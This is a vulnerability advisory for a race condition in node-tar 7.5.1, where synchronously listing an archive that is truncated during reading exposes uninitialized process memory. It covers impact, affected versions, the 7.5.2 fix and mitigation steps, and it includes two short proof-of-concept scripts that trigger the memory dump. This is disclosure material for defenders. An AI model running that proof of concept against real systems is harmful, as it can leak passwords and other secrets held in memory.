node-tar has a race condition leading to uninitialized memory exposureGHSA-29xp-372q-xqph
Fix: isaacs/node-tar#446GHSA-29xp-372q-xqph is a CWE-362 vulnerability in tar. A fix is available for tar — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-29xp-372q-xqph.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
tarnpmDescription
Summary
Using .t (aka .list) with { sync: true } to read tar entry contents returns uninitialized memory contents if tar file was changed on disk to a smaller size while being read.
Details
See:
- https://github.com/isaacs/node-tar/issues/445
- https://github.com/isaacs/node-tar/pull/446
- Regression happened in https://github.com/isaacs/node-tar/commit/5330eb04bc43014f216e5c271b40d5c00d45224d
PoC
A:
import * as tar from 'tar'
import fs from 'node:fs'
fs.writeFileSync('tar.test.tmp', Buffer.alloc(1*1024))
// from readme
const filesAdded = []
tar.c(
{
sync: true,
file: 'tar.test.tmp.tar',
onWriteEntry(entry) {
// initially, it's uppercase and 0o644
console.log('adding', entry.path, entry.stat.mode.toString(8))
// make all the paths lowercase
entry.path = entry.path.toLowerCase()
// make the entry executable
entry.stat.mode = 0o755
// in the archive, it's lowercase and 0o755
filesAdded.push([entry.path, entry.stat.mode.toString(8)])
},
},
['./tar.test.tmp'],
)
const a = fs.readFileSync('tar.test.tmp.tar')
for (let i = 0; ; i++){
if (i % 10000 === 0) console.log(i)
fs.writeFileSync('tar.test.tmp.tar', a)
fs.truncateSync('tar.test.tmp.tar', 600)
}
B (vulnerable):
import * as tar from 'tar'
import * as fs from 'fs'
while (true) {
fs.readFileSync(import.meta.filename)
tar.t({
sync: true,
file: 'tar.test.tmp.tar',
onReadEntry: e => e.on('data', b => {
const a = b.filter(x => x)
if (a.length > 0) console.log(a.toString())
})
})
}
Run A and B in parallel on Node.js 22 or >=25.1.0
Dumps B memory (wait for some time to observe text data)
Impact
Exposes process memory and could result in e.g. unintentionally (aka attacker-controlled) attempting to process sensitive data rather than tar entry contents. Uninitialized memory can contain unrelated file contents, environment variables, passwords, etc.
To execute, an attacker must reduce the file size to boundary between a tar header and body block, in the time between when the tar archive file size is read via stat, and the time when the tar archive parser reaches the entry that is truncated. If the file is truncated at a different boundary, then the uninitialized data will very likely not be a valid tar entry, causing the parser to treat the entry as a damaged archive (that is, throwing an error in strict: true mode, or by default, skipping the entry harmlessly).
This is conditional on using the sync: true option to the tar.list/tar.t method, and the 7.5.1 version specifically. Earlier versions were not affected.
This is also conditional to attacker being able to truncate (or induce a truncation/replacement) of a file on disk (e.g. in cache).
If the tar file is initially larger than the opt.maxReadSize (16kb by default), then uninitialized memory is not exposed to user code, and instead the program enters an infinite loop, causing a DoS rather than an information disclosure vulnerability.
By default, tar.list does not process tar archive entry body content. So, this is further conditional on the user code doing something with the tar entry file contents in an onReadEntry method which would expose the file contents (for example, attempting to parse them in such a way that the uninitialized data could appear in an error message).
Other methods in this library (tar.extract, etc.) are not affected by this vulnerability.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | tar | ≥ 7.5.1&&< 7.5.2 | 7.5.2npm install tar@7.5.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tar, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update tar to 7.5.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-29xp-372q-xqph is resolved across your whole dependency graph.
Workarounds
Assume what was exposed is already known: rotate any credential, token or key that the affected component could return, restrict the endpoint to callers that genuinely need it, and strip sensitive fields from responses and error output at the boundary rather than relying on the client not to read them.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This vulnerability is rated Moderate for Red Hat products because it affects `node-tar` when synchronously reading tar entry contents from a file that is concurrently modified to a smaller size. This race condition can lead to the exposure of uninitialized memory. Exploitation requires an attacker to control the tar…
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.Source: Red Hat security advisory for GHSA-29xp-372q-xqph (CC BY 4.0)
Frequently Asked Questions
Is GHSA-29xp-372q-xqph in your dependencies?
Find it across npm, including transitive dependencies.